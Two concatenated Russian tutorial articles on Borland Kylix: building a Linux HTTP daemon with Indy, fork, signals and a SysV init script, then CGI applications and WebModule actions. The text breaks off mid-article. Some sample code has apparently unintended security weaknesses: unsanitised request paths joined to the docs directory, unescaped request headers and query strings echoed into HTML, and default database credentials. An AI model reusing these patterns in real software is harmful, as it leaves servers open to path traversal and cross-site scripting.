покрытая росписью с внешней и с внутренней стороны.
Программирование Интернет приложений в Borland Kylix.
Автор: Андрей Боровский WEB-сайт: http://kylixportal.chat.ru Создай своих демонов! В этой статье речь пойдет о создании интернет серверов (сетевых демонов) в Linux при помощи среды разработки Kylix и входящего в нее набора компонентов Internet Direct. В качестве примера описывается разработка простого сервера протокола HTTP. Одной из сильных сторон Delphi и Kylix является возможность быстрой разработки мощных Интернет приложений. С этой целью в состав обеих сред включены наборы готовых компонентов для работы с Интернет. В Delphi 6 и Kylix 1.0 эту функцию выполняет Internet Direct component suite ( Indy ). Indy представляет собой набор классов Object Pascal (существует также версия для Borland C++ Builder) для работы с Интернет. Одни классы, такие как TIdTCPConnection, предоставляют базовые функции для низкоуровневой работы с сервисами Интернет, другие классы, такие как TIdHTTPServer, являются готовыми Интернет серверами или клиентами со встроенной поддержкой всех основных функций соответствующих сетевых протоколов. К достоинствам Indy следует отнести качественный механизм многопоточности (multi-threading), доступный как в Windows, так и в Linux версии. Еще одним достоинством Indy является доступность исходных текстов всех компонентов набора. Indy распространяется под двойным лицензированием, что позволяет создавать на его базе как открытые, так и коммерческие приложения. Создать простейший Интернет сервер для Windows в Delphi 6 достаточно легко: бросаем в окно формы соответствующий компонент, назначаем пару обработчиков событий и voila: сервер готов! В Linux все выглядит лишь немного сложнее. Демоны Linux Большинство сетевых серверов Linux реализованы в виде демонов. Так, например, популярный web-сервер Apache, это демон протокола HTTP (httpd). Демон (daemon, demon) - это программа, выполняющаяся в фоновом режиме и настроенная на обработку определенного класса событий. После запуска демон находится в состоянии ожидания события. Когда в системе происходит соответствующее событие, демон активизируется и выполняет необходимые действия по его обработке. Важной особенностью демонов является возможность параллельной обработки нескольких событий. Демоны бывают не только сетевыми. Например печатью в Linux управляет демон печати, а записью сообщений в log-файлы - log-демон (logd). Сетевой демон находится в состоянии ожидания запроса на соединение. Когда такой запрос поступает, демон либо устанавливает соединение и выполняет обработку запроса, либо отказывается установить соединение. Сразу отмечу, что программа-сервер Интернет вовсе не обязательно должна быть демоном. В следующих статьях этой серии мы напишем сервер, обладающий полноценным графическим интерфейсом. Однако, если Вы хотите, чтобы Ваш сервер запускался вместе с операционной системой и выполнялся вне зависимости от того, кто из пользователей работает в системе в данный момент, реализация сервера в форме демона представляется наилучшим вариантом. Демон, это консольное приложение, выполняющееся в фоновом режиме. Фоновым режимом (background mode) называется такой режим работы программы, в котором приложение не взаимодействует с терминалом. После запуска демон должен переходить в фоновый режим автоматически. Орудие демона - функция forkПрежде чем приступить к программированию демона, следует рассмотреть подробнее функцию fork, которая играет в работе демонов важную роль. В Kylix функция fork объявлена в модуле Libc. Объявление функции выглядит следующим образом:
function fork: __pid_t; cdecl;
Функция fork создает новый процесс, являющийся точной копией того процесса, из которого она была вызвана. Выполнение нового процесса начинается с точки возврата функции fork. Таким образом после успешного вызова функция fork возвращает значения уже двум процессам. Новый процесс работает так, как если бы он выполнялся с самого начала, вызвал функцию fork и получил ее значение. Оба процесса принадлежат к одной и той же группе и разделяют открытые дескрипторы файлов. Отличить дочерний процесс от родительского можно по значению, возвращаемому функцией fork. Родительскому процессу fork возвращает pid созданного дочернего процесса, тогда как дочернему процессу возвращается значение 0.
Рисунок справа иллюстрирует работу функции fork. Функция fork (в переводе с английского - вилы, вилка) широко используется при программировании демонов. Вот почему демон, изображенный на эмблеме FreeBSD, держит вилы в руках.
Структура демона
Как было указано выше, демон должен быть консольным приложением. В окне New Items (Вызывается командой File|New...) на вкладке New выбираем элемент Console Application. Открывается окно с заготовкой файла проекта консольного приложения. Этот файл будет содержать все основные элементы создаваемого демона. Обычно имя исполняемого файла демона заканчивается на букву d (htppd, ftpd, crond). Назовем создаваемый проект dhttpd.
Наша первая задача - перевести запущенный демон в фоновый режим. Для этого при помощи fork создается копия процесса демона, а выполнение исходного процесса завершается:
pid := fork;
if pid = -1 then // fork failed
begin
perror(PChar('fork 1: '));
Halt(1);
end
else if pid <> 0 then
Halt(0); // parent process exits
...
Здесь pid - глобальная переменная типа Integer. Если при вызове функции fork произошла ошибка, функция возвращает значение -1, и приложение должно завершиться. После удачного вызова функции fork родительскому процессу возвращается pid дочернего процесса, не равный нулю. Родительский процесс завершает работу, а дочерний продолжает выполняться. После завершения родительского процесса контроль над терминалом возвращается запустившей его программе (оболочке), а новый процесс, созданный функцией fork, выполняется в фоновом режиме. Однако наш процесс все еще принадлежит той же группе, что и создавший его процесс. Для того чтобы демон стал полностью независим от запустившего его терминала, новый процесс следует поместить в новую группу, а самый простой способ сделать это - создать новую сессию. (Подробнее о сессиях и группах процессов можно прочесть в [3].) Новая сессия создается вызовом функции setsid:
pid := setsid;
if pid = -1 then // setsid failed
begin
perror(PChar('setsid: '));
Halt(1);
end;
...
Далее мы закрываем стандартный поток ввода и перенаправляем потоки вывода на /dev/null (это необходимо сделать, так как некоторые функции могут использовать стандартные потоки для вывода служебной информации).
Close(Input); // closing stdin AssignFile(Output, '/dev/null'); Rewrite(Output); AssignFile(ErrOutput, '/dev/null'); Rewrite(ErrOutput); ...
Теперь процесс выполняется в режиме демона. Сохраним pid процесса в файле dhttpd.pid в каталоге /var/run (зачем это нужно объясняется ниже). Следует отметить, что демон должен запускаться в режиме, предоставляющем полный доступ к ресурсам компьютера, т. е. в режиме root или в ходе загрузки операционной системы. Это необходимо не только для получения доступа к таким каталогам, как /var/run, но и для работы с сокетами, что является основной функцией создаваемого нами приложения.
AssignFile(F, '/var/run/dhttpd.pid'); Rewrite(F); pid := getpid; WriteLn(F, pid); CloseFile(F); ...Здесь F - переменная типа Text. Нам еще необходимо организовать обработку сигналов. Сигналы Linux (их не следует путать с сигналами Qt library) очень похожи на прерывания MS-DOS. Фактически сигналы основаны на программных прерываниях. Когда процессу Linux посылается сигнал, для которого установлен обработчик, выполнение процесса прерывается и вызывается процедура обработчика сигнала. По окончании выполнения обработчика основной процесс возобновляется с той точки, в которой он был прерван, если, конечно, обработчик сигнала не завершил процесс. В Linux процессу предоставлены широкие возможности по управлению обработкой большинства сигналов: Процесс может блокировать сигналы, игнорировать сигналы, назначать свои обработчики сигналов или использовать обработчики, назначенные системой по умолчанию. Характерной особенностью сигналов Linux является асинхронность. Это означает, что незаблокированный сигнал может прервать выполнение программы в любой точке. Данный факт нужно учитывать при написании обработчиков сигналов. Сигналы Linux и их обработка подробно описаны в [3]. Существует два основных подхода к обработке сигналов Linux: первый подход заключается в том, что все действия по обработке сигнала выполняются в процедуре обработчика. При втором подходе обработчик сигнала лишь изменяет значения некоторых глобальных переменных-флажков. Основной процесс периодически проверяет состояние флажков и в случае их изменения выполняет операции, связанные с соответствующим сигналом. Этот подход позволяет синхронизировать обработку сигналов с выполнением других элементов программы.
При программировании нашего демона мы пойдем по второму пути. В программе объявляется глобальная переменная SigNum типа Integer, а в качестве обработчика сигналов служит процедура TranslateSig:
procedure TranslateSig(sig: Integer); cdecl; begin SigNum := sig; end;
Функция TranslateSig просто присваевает переменной SigNum номер полученного сигнала. В создаваемом демоне мы ограничемся обработкой сигналов SIGTERM и SIGHUP. Связываем обработчик TranslateSig с этими сигналами:
signal(SIGTERM, @TranslateSig); signal(SIGHUP, @TranslateSig);
Теперь следует задать цикл обработки сигналов. Можно просто проверять значение SigNum в бесконечном цикле, однако есть более изящный и менее ресурсоемкий способ - функция sigsuspend. В качестве единственного параметра этой функции передается маска сигналов - переменная типа __sigset_t. Функция sigsuspend приостанавливает выполнение вызвавшего ее потока до тех пор, пока не поступит один из сигналов, не включенных в маску. В этом случае, если обработчик сигнала не завершает процесс, функция sigsuspend возвращает управление. В следующем фрагменте выполняется установка маски (переменная SigSet) и организуется цикл обработки сигналов с использованием функции sigsuspend:
sigfillset(SigSet);
sigdelset(SigSet, SIGTERM);
sigdelset(SigSet, SIGHUP);
SigNum := 0;
while SigNum <> SIGTERM do
begin
sigsuspend(SigSet);
if SigNum = SIGHUP then
begin
...
pid := fork;
if pid <> 0 then
Break; // old process exits
...
end;
end;
Обратите внимание на то, как обрабатывается сигнал SIGHUP. В ответ на сигнал демон создает новую копию процесса (при помощи функции fork), а старый процесс завершается. Именно ради обработки сигнала SIGHUP организован цикл while do.
Полный листинг файла dhttpd.dpr приводится в конце статьи. В программу добавлена обработка опций командной строки. Принцип обработки опций командной строки очень прост: новый процесс читает значение, записанное в файл /var/run/dhttpd.pid, с помощью функции kill посылает ранее запущенному процессу соответствующий сигнал и затем завершается.
В нашем примере не рассмотрена еще одна функция демона - ведение log-файлов. Большинство сетевых демонов записывают данные о транзакциях и о своей работе в специальные файлы. Каждое приложение ведет свой log-файл. Обычно log-файлы хранятся в директории /var/log/. Разумеется, каждое приложение может само создавать и поддерживать такие файлы, однако в Linux существует централизованный механизм ведения log-файлов - демон logd. Главное преимущество использования демона logd заключается в том, что logd скрывает детали процесса ведения log-файлов от приложения. Такие параметры, как физическое размещение файлов, задаются в процессе конфигурации демона logd и не влияют на работу приложения, записывающего логи. Например, демон logd может быть сконфигурирован таким образом, что запись log-файлов будет производиться на удаленный компьютер. Система Linux предоставляет приложениям простой интерфейс для работы с демоном logd. Основные операции выполняются при помощи трех функций: Функция openlog открывает log-файл, closelog - закрывает файл, syslog выполняет запись.
Остальное - Indy
Наша программа теперь обладает всеми атрибутами демона, но она все еще не выполняет никакой полезной работы. Программирование сетевых демонов - непростая задача. Классические демоны Unix используют дочерние процессы для параллельной обработки соединений. На практике, для ускорения работы приложения-демона, часто применяются более сложные схемы, включающие предварительное создание процессов. Подробности можно найти в [2].
В нашем распоряжении, однако, есть компоненты Indy, предоставляющие самый эффективный механизм параллельной обработки соединений - многопоточность. Для того, чтобы при помощи Indy создать Web сервер, обладающий основными функциями по работе с HTTP, нам потребуется создать объект класса TIdHTTPServer (этот класс определен в модуле IdHTTPServer) и назначить обработчик события OnCommandGet.
В создаваемом нами приложении все объекты для работы с Web определены в модуле WebServ, полный текст которого приводится в конце статьи. Константа HTTPDocsDir содержит путь к каталогу, в котором хранятся HTTP файлы. В Linux Mandrake это /var/www/html. Все операции по работе с протоколом HTTP выполняет объект WebServer класса TWebSerever. Экземпляр TWebSerever создается в начале работы демона и уничтожается при завершении процесса. Для того, чтобы наш сервер не конфликтовал со стандартным Web сервером, мы присвоим ему порт 8800. Разбирать здесь подробно работу с компонентами Indy мы не будем, так как во-первых это уже не имеет непосредственного отношения к программированию демонов, а во-вторых детали работы компонента IdHTTPServer исчерпывающе описаны в справочной системе по Indy и прилагающихся примерах.
Теперь можно проверить работу демона. Скомпилировав проект даем в режиме root команду:
# dhttpdКомандная строка тут же снова появляется на экране. Так и должно быть, ведь демон сразу переходит в фоновый режим. Для того, чтобы убедиться в том, что демон работает, откроем броузер и введем в строке адреса: http://localhost:8800/ (префикс http:// следует указывать потому, что порт 8800 не является стандартным портом протокола HTTP). В окне броузера должна появиться страница index.html из каталога, заданного в константе HTTPDocsDir. Если каталог HTTPDocsDir содержит несколько файлов и подкаталогов, можно проверить, как выполняется навигация. При этом следует учесть, что корневому каталогу Web-пространства соответствует каталог HTTPDocsDir. Если значение этой константы - /var/www/html, то URL http://localhost:8800/foo/bar.html будет соответствовать путь /var/www/html/foo/bar.html. Работа демона может быть завершена командой dhttpd -stop, а для перезапуска ранее запущенного демона служит команда dhttpd -restart. "Вселение демона" в систему Опции командной строки позволяют нам запускать и останавливать демон в ручном режиме, однако обычно демоны запускаются автоматически в ходе загрузки операционной системы. В таких системах, как Red Hat или Mandrake самый простой способ обеспечить автоматический запуск демона заключается в создании скрипта SysV Init. Скрипты SysV Init можно рассматривать как некий аналог файла autoexec.bat в системе MS-DOS. Скрипты - это исполнимые файлы, написанные на языке сценариев оболочки (shell script language). Для каждого демона создается свой файл скрипта, имя которого обычно совпадает с именем демона. В конце этой статьи приводится скрипт dhttpd, служащий для запуска демона dhttpd. В Red Hat и Mandrake скрипт dhttpd следует скопировать в каталог /etc/rc.d/init.d/ (не забудьте придать скрипту статус исполнимого файла). Но это еще не все. Каталог /etc/rc.d/ содержит несколько подкаталогов rcX.d, где X - число от 1 до 6, соответствующее уровню, на котором работает система. Каждый из этих каталогов содержит символические ссылки на файлы скриптов, которые следует выполнять при запуске системы на соответствующем уровне. Вы должны создать символические ссылки на скрипт dhttpd в каталогах rcX.d, соответствующих уровням, в которых должен запускаться демон (ссылки можно разместить во всех каталогах). Имя ссылки на скрипт должно соответствовать шаблону SXXname, где XX двузначное число, указывающее очередность запуска программы, а name - любая последовательность символов, обычно соответствующая имени файла скрипта. Например, для скрипта dhttpd имя ссылки может иметь следующий вид: S95dhttpd. Сам исполнимый файл демона, который также имеет имя dhttpd, можно разместить в каталоге /usr/sbin/.
Если все сделано правильно, то при следующем запуске системы, в конце списка сообщений, сопровождающих процесс загрузки, можно будет увидеть сообщение о запуске демона dhttpd. Убедиться в том, что демон работает, можно, как и в предыдущем случае, введя в строке адреса броузера URL "http://localhost:8800/".
program dhttpd;
{$APPTYPE CONSOLE}
uses
Libc, SysUtils, WebServ;
var
F: Text;
SigSet: __sigset_t;
SigNum: Integer;
pid: Integer;
// Signal handler function
procedure TranslateSig(sig: Integer); cdecl;
begin
SigNum := sig;
end;
begin
// Processing command line arguments
if ParamCount > 0 then
begin
if ParamCount = 1 then
begin
SigNum := 0;
if ParamStr(1) = '-stop' then
SigNum := SIGTERM
else if ParamStr(1) = '-restart' then
SigNum := SIGHUP;
if SigNum <> 0 then
begin
if FileExists('/var/run/dhttpd.pid') then
begin
AssignFile(F, '/var/run/dhttpd.pid');
Reset(F);
Read(F, pid);
CloseFile(F);
if kill(pid, SigNum) = 0 then
Halt(0);
end;
WriteLn('dhttpd : cannot do ' + ParamStr(1) + '. Maybe the daemon is not running?' );
Halt(0);
end;
end;
WriteLn('Use dhttpd -stop to stop the daemon or dhttpd -restart to restart it.');
Halt(0);
end;
// Daemon initialization code
pid := fork;
if pid = -1 then // fork failed
begin
perror(PChar('fork 1: '));
Halt(1);
end
else if pid <> 0 then
Halt(0); // parent process exits
pid := setsid;
if pid = -1 then // setsid failed
begin
perror(PChar('setsid: '));
Halt(1);
end;
Close(Input); // closing stdin
AssignFile(Output, '/dev/null');
Rewrite(Output);
AssignFile(ErrOutput, '/dev/null');
Rewrite(ErrOutput);
// Now process runs in the daemon mode
WebServer := TWebServer.Create; // Creating server object
AssignFile(F, '/var/run/dhttpd.pid');
Rewrite(F);
pid := getpid;
WriteLn(F, pid);
CloseFile(F);
signal(SIGTERM, @TranslateSig);
signal(SIGHUP, @TranslateSig);
sigfillset(SigSet);
sigdelset(SigSet, SIGTERM);
sigdelset(SigSet, SIGHUP);
SigNum := 0;
while SigNum <> SIGTERM do
begin
sigsuspend(SigSet);
WebServer.Free;
if SigNum = SIGHUP then // Restarting
begin
pid := fork;
if pid = -1 then
Halt(1);
if pid <> 0 then
Break; // old process exits
// Now we are in the new child process
WebServer := TWebServer.Create;
AssignFile(F, '/var/run/dhttpd.pid');
Rewrite(F);
pid := getpid;
WriteLn(F, pid);
CloseFile(F);
end;
end;
end.
unit WebServ;
interface
uses
IdBaseComponent, IdComponent,
IdTCPServer, IdHTTPServer, SysUtils;
type
TWebServer = class(TObject)
IndyHTTP: TIdHTTPServer;
private
procedure HTTPCommandGet(AThread: TIdPeerThread;
RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);
public
constructor Create;
destructor Destroy; override;
end;
const
HTTPDocsDir = '/var/www/html';
var
WebServer: TWebServer;
implementation
// TWebServer methods
constructor TWebServer.Create;
begin
inherited Create;
IndyHTTP := TIDHTTPServer.Create(nil);
with IndyHTTP do
begin
ServerSoftware := 'DAEMONstration Web server. (c) 2001 Andrei Borovsky';
OnCommandGet := HTTPCommandGet;
TerminateWaitTime := 5000;
DefaultPort := 8800;
// Activate the Server
Active := True;
end;
end;
destructor TWebServer.Destroy;
begin
IndyHTTP.Free;
inherited Destroy;
end;
procedure TWebServer.HTTPCommandGet;
var
FName: string;
begin
FName := HTTPDocsDir + RequestInfo.Document;
if FName[Length(FName)] = '/' then
FName := FName + 'index.html'
else if DirectoryExists(FName + '/') then
begin
// Redirecting directory without a trailing slash
ResponseInfo.Redirect(RequestInfo.Document + '/');
Exit;
end;
if FileExists(FName) then
begin
// Serving content
IndyHTTP.ServeFile(AThread, ResponseInfo, FName);
Exit;
end;
// Requested URL not found
ResponseInfo.ResponseNo := 404;
ResponseInfo.ResponseText := 'Requested URL not found';
ResponseInfo.ContentText := 'Error 404 - ' + ResponseInfo.ResponseText;
ResponseInfo.WriteHeader;
ResponseInfo.WriteContent;
end;
end.
Скрипт dhttpd
#!/bin/sh
#
# SysV Init script for DAEMONstration Web server (dhttpd)
#
# pidfile: /var/run/dhttpd.pid
#
# Source function library.
. /etc/rc.d/init.d/functions
case $1 in
start)
echo -n "Starting dhttpd"
daemon dhttpd
echo
touch /var/lock/subsys/dhttpd
;;
stop)
echo -n "Shutting down dhttpd"
killproc dhttpd
echo
rm -f /var/lock/subsys/dhttpd
rm -f /var/run/dhttpd.pid
;;
restart)
$0 stop
$0 start
;;
reload)
echo -n "Reloading dhttpd:"
killproc dhttpd -HUP
echo
;;
*)
echo "Usage: $(basename $0) start|stop|restart|reload"
exit 1
esac
exit 0
Литература.
Griffin I, Nelson J (1998). Linux Network Programming, Part 1, Linux Journal, #46 February 1998 Griffin I, Nelson J (1998). Linux Network Programming, Part 2, Linux Journal, #47 March 1998 GLIBC ManualПрограммирование Интернет приложений в Borland Kylix 2.
Автор: Андрей Боровский WEB-сайт: http://kylixportal.chat.ru Разработка приложений для Web-сервера Эта статья продолжает серию, посвященную программированию Интернет-приложений в Borland Kylix. На этот раз речь пойдет о CGI-приложениях и модулях сервера Apache. CGI-приложенияИзначально протокол HTTP создавался для передачи по Сети документов в формате HTML и сопутствующей им графики, однако Web-броузеры оказались настолько удобны, что всемирная паутина очень быстро начала обрастать различными дополнительными функциями. Весьма заманчиво выглядит возможность использовать броузер клиента в качестве интерфейса для взаимодействия с удаленным приложением. Такое взаимодействие, разумеется, требует наличия механизма передачи команд и данных от клиента серверу. Для стандартизации механизма передачи команд клиента серверу был разработан стандарт CGI. В общих чертах работа CGI выглядит следующим образом: клиент загружает HTML страницу, содержащую форму и посылает серверу определенный в форме запрос (request), в котором указано.
Действие (action) и список параметров. Действие представляет собой указатель на CGI-приложение, которое должно выполнить запрос. Например действие /cgi-bin/frenchwines указывает на приложение frenchwines. Для одного приложения можно определить несколько действий, которые идентифицируются как отдельные сетевые ресурсы: /cgi-bin/frenchwines, /cgi-bin/frenchwines/, /cgi-bin/frenchwines/welcome – это разные действия приложения frenchwines. Список параметров представляет собой перечень имен параметров и их значений. Если HTML форма использует для передачи параметров метод GET, список параметров можно увидеть в адресной строке броузера после идентификатора ресурса (он отделен от идентификатора символом '?'). С точки зрения протокола HTTP CGI-запрос является командой на загрузку некоторого ресурса. В ответ на запрос сервер обычно посылает клиенту HTML документ, который как правило является динамической страницей, т. е. не хранится на диске в виде файла, а генерируется приложением. CGI–функции могут быть реализованы на сервере в двух вариантах: в форме CGI-сценариев (CGI scripts) и в виде CGI приложений. CGI приложения представляют собой исполнимые модули, вызываемые Web-сервером. Схема взаимодействия между броузером, сервером и CGI-модулем приводится на рисунке. По своей структуре CGI приложение является обычной консольной программой. Сервер передает данные CGI приложению через переменные окружения и стандартный поток ввода, а CGI приложение передает данные серверу через свой стандартный поток вывода. Сервер запускает новую копию приложения для обработки каждого запроса. По окончании обработки запроса CGI-приложение завершается. Далее следует пример простейшего CGI приложения, написанного в Borland Kylix. Этот пример не использует специальные средства разработки CGI приложений, входящие в состав Kylix. Модуль Libc используется для того, чтобы сделать приложение более компактным. В принципе нам было бы достаточно одного модуля SysUtils.
program simplecgi;
{$APPTYPE CONSOLE}
uses
Libc;
var
Method: PChar;
Query: string;
begin
Method := getenv('REQUEST_METHOD');
if Method = nil then
begin
WriteLn('Error : no request method');
Halt(0);
end;
WriteLn('Content-Type: text/html');
WriteLn;
Write('<HTML><HEAD><TITLE>Simple CGI Application</TITLE><BODY>');
Write('<H2>This page was generated on the fly by the CGI application</H2>');
Write('<P>You have sent data by ', string(Method), ' method</P>');
Write('<P>The user agent is "', string(getenv('HTTP_USER_AGENT')), '"</P>');
Write('<P>The HTTP_REFERER variable is "', string(getenv('HTTP_REFERER')),
'"</P>');
if Method = 'GET' then
Write('<P>The query string is "', string(getenv('QUERY_STRING')), '"</P>')
else
begin
Write('<P>The content length is ', string(getenv('CONTENT_LENGTH')),
'</P>');
Read(Query);
Write('<P>The query string is "', Query, '"</P>')
end;
Write('</BODY></HTML>');
end.
Для того, чтобы проверить работу примера, скомпилируйте проект simplecgi.dpr (исходный текст лежит здесь) и скопируйте полученный исполнимый файл в каталог CGI-приложений Web-сервера. В Linux Mandrake этим каталогом по умолчанию является /var/www/cgi-bin/ (естественно, сам Web-сервер должен быть установлен и запущен в вашей системе). Затем откройте в броузере страницу TestCGI.html. Страница TestCGI содержит две формы для передачи параметров приложению. Одна форма использует для передачи данных метод GET, другая – метод POST. Кроме возможности создания CGI-приложений "с нуля", Borland Kylix располагает весьма удобными специальными средствами разработки приложений для Web-сервера. Kylix может создать для вас "заготовку" CGI-приложения. В окне New выберите элемент Web Server Application и в открывшемся диалоговом окне – пункт CGI standalone executable. В качестве примера такого приложения мы рассмотрим программу, реализующую Web-интерфейс к базе данных Borland Interbase. Для компиляции и выполнения этого примера вам понадобится сервер баз данных Interbase (входит в комплект поставки Kylix SDE). Перед началом работы с примером Web-интерфейса базы данных, убедитесь, что серверы Web и Interbase установлены и нормально работают.
Приложение-пример (исходный текст лежит здесь) называется fenchwines и представляет собой Web-интерфейс к базе данных французских вин. (Напомню, что "Kylix" в переводе означает "винная чаша", так что "винная" тематика вполне соответствует рассматриваемому продукту. Для правильной компиляции и запуска демонстрационного приложения необходимо выполнить следующее: скачайте архив с базой данных, распакуйте его, скопируйте файл vina.gdb в какой-нибудь каталог. В корневом каталоге http документов вашего сервера (часто это /var/www/html) создайте каталог wdb и скопируйте в него файлы wctempl.html и barrels.jpg из архива приложения. Теперь откройте приложение в среде Kylix. При помощи менеджера проекта откройте окно Web-модуля, которое связано с модулем main. В окне Web-модуля щелкните правой кнопкой мыши по компоненту SQLConnection1 и в открывшемся меню выберите пункт Edit Connection Properties. В открывшемся диалоговом окне создайте новое соединение. В качестве драйвера базы данных выберите INTERBASE. В поле Database задайте абсолютный путь к файлу vina.gdb. Убедитесь, что поля Password и User_Name содержат значения masterkey и SYSDBA соответственно. Свойство Connection компонента SQLConnection1 должно указывать на новое соединение. Далее отредактируйте свойство HTMLFile компонента PageProducer1 так, чтобы оно содержало полный путь к файлу wctempl.html. Скомпилируйте приложение frenchwines и скопируйте исполнимый файл в каталог CGI-приложений (cgi-bin). Для того, чтобы проверить работу нашего приложения в окне броузера наберите http://localhost/cgi-bin/frenchwines. При этом в окне броузера появится приветственная HTML-страница. Форма на странице позволяет выбирать вина из базы данных по происхождению и категории. Для того, чтобы отобразить все вина, содержащиеся в базе, необходимо ввести "any" в обоих полях формы. Структура CGI-приложения очень похожа на структуру обычного приложения Kylix. Вместо объекта TApplication в Web-приложении используется объект TWebApplication, а роль класса TForm выполняет класс TWebModule. Потомок класса TWebModule является владельцем всех компонентов, используемых в Web-приложении и ему же принадлежат методы обработки событий.
Окно компонента TWebModule с дочерними компонентами
Важнейшим элементом TWebModule является список действий Actions. В этом списке хранятся объекты TWebActionItem, определяющие действия приложения. Свойство PathInfo объекта TWebActionItem позволяет задать идентификатор действия. Если свойство PathInfo содержит пустую строку, идентификатором данного действия является само имя CGI-приложения. В других случаях идентификатор действия должен предваряться символом "/". В следующей таблице показаны примеры значений PathInfo и соответствующие им действия для приложения frenchwines, расположенного в директории /cgi-bin/. Значение PathInfo Действие "" /cgi-bin/frenchwines "/" /cgi-bin/frenchwines/ "/welcome" /cgi-bin/frenchwines/welcome /error /cgi-bin/frenchwines/error Список Actions можно заполнить в процессе разработки приложения при помощи редактора списка. Для того, чтобы открыть окно редактора нужно в окне инспектора объектов щелкнуть по кнопке с многоточием в поле свойства Actions. Свойство MethodType объекта TWebActionItem позволяет указать метод передачи параметров для данного действия. Метод, указанный в свойстве MethodType должен соответствовать методу, указанному в тэге FORM HTML страницы, генерирующей запрос. Значение mtAny позволяет действию обрабатывать любые запросы. Для объекта TWebActionItem определено единственное событие – OnAction. Когда Web-сервер получает CGI-запрос, он запускает соответствующее CGI-приложение и передает ему всю необходимую информацию. В Kylix-приложении диспетчер запросов определяет, какому действию адресован запрос, и вызывает обработчик события OnAction этого действия. После выполнения обработчика OnAction приложение завершается. Заголовок обработчика выглядит следующим образом:
type
THTTPMethodEvent = procedure(Sender: TObject; Request: TWebRequest; Response:
TWebResponse; var Handled: Boolean) of object;
Объект Request содержит данные о поступившем запросе. Свойства этого объекта позволяют получить сведения об адресе удаленной машины, программном обеспечении клиента, методе запроса и т. п. Для CGI-запроса в объекте Request передается также список параметров запроса. Список параметров хранится в свойстве ContentFields (если запрос передан посредством метода POST) или QueryFields (если использовался метод GET). Оба свойства имеют тип TStrings и содержат набор строк вида ParamName=ParamValue Объект Response описывает ответные действия приложения. Текст HTML страницы, возвращаемой приложением, передается в свойстве Content объекта Response. В простейшем CGI-приложении обработчик OnAction может выглядеть следующим образом:
procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject; Request: TWebRequest; Response: TWebResponse; var Handled: Boolean); begin Response.Content := '<HTML><BODY><H2>Delphi World !</H2></BODY></HTML>'; end;
Рассмотрим другие примеры. В приложении frenchwines главная HTML-страница выводится при выполнении действия frenchwines/welcome. Однако, пользователь может набрать в строке броузера просто .../frenchwines или .../frenchwines/ и было бы очень удобно, если бы в этой ситуации приложение автоматически перенаправляло броузер пользователя на страницу frenchwines/welcome. Для того, чтобы приложение fenchwines выполняло такое перенаправление, в нем заданы два действия, значениями PathInfo которых являются соответственно пустая строка и символ "/". Обоим действиям можно назначить один и тот же обработчик OnAction:
procedure TWebModule1.WebModule1WebActionItem3Action(Sender: TObject;
Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
Response.Location := Request.InternalScriptName + '/welcome';
Response.StatusCode := 301;
Response.Content := '<HTML><BODY><H2>This page is redirected to < A HREF = '+ Response.Location +' / > '
+ Request.Host + Response.Location + '</A></H2></BODY></HTML>';
end;
Статус-код 301 сообщает клиенту о необходимости перенаправить запрос по новому адресу. А что произойдет, если клиент пошлет запрос на выполнение действия, которое не определено в CGI-приложении, например frenchwines/querydb ? В этом случает Kylix-приложение сгенерирует исключение и Web-сервер выдаст неприятное сообщение о внутренней ошибке. Для того, чтобы обращение к неопределенному действию не приводило к исключительной ситуации, необходимо создать еще одно действие и присвоить свойству Default соответствующего объекта TWebActionItem значение True. Теперь это действие будет вызываться для всех запросов, вызывающих неопределенные действия. Обработчик события OnAction этого действия может выглядеть следующим образом:
procedure TWebModule1.WebModule1WebActionItem4Action(Sender: TObject;
Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
Response.Title := 'Resource Not Found';
Response.StatusCode := 404;
Response.Content := '<HTML><BODY><H2>Error 404</H2><P>Requested resource "'
+ Request.InternalScriptName + Request.PathInfo + '" is not found on this server. </BODY> </HTML>';
end;
Генераторы контента
Во всех приведенных выше примерах HTML страницы, возвращаемые сервером задавались в явном виде, путем присвоения строки HTML команд свойству Content. Очевидно, что для вывода сложных страниц с большим числом элементов такой подход непригоден. Для облегчения решения этой проблемы Kylix предоставляет несколько специальных компонентов-генераторов контента (content producers). На вкладке Internet панели компонентов Kylix раположены четыре компонента-генератора: TPageProducer, TDataSetTableProducer, TSQLQueryTableProducer и TDataSetPageProducer. Компонент TPageProducer генерирует страницу на основе заданного шаблона. Идея этого компонента заключается в том, что на многих динамических HTML страницах изменяются только отдельные фрагменты, основная же часть страницы остается неизменной. Шаблоном для компонента TPageProducer может служить обычная HTML-страница, в которую добавлены специальные тэги, невидимые для броузера. Формат тэга имеет следующий вид:
<#TagName Param1=Value1 Param2=Value2 ...>
Шаблон может быть задан в свойстве HTMLDoc (в виде набора строк) или в свойстве HTMLFile (как имя файла). Для получения HTML страницы, построенной на основе шаблона, никаких специальных команд вызывать не нужно. Необходимо лишь прочитать свойство Content компонента TPageProducer. При этом функция, лежащая в основе свойства Content, анализирует заданный шаблон и всякий раз, когда в шаблоне встречается тэг, описанный выше, вызывает обработчик события OnHTMLTag, которому передается информация о тэге, вызвавшем событие. Обработчик события OnHTMLTag обычно возвращает строку, которой следует заменить соответствующий тэг в готовой странице. Таким образом, при обращении к свойству content возвращается строка HTML команд, в которой прозрачные тэги уже заменены динамическими значениями. При использовании компонента TPageProducer, обработчик события OnAction, возвращающий клиенту динамическую страницу, мог бы выглядеть следующим образом:
procedure TWebModule1.WebModule1WebActionItem4Action(Sender: TObject; Request: TWebRequest; Response: TWebResponse; var Handled: Boolean); begin Response.Content := PageProducer1.Content; end;
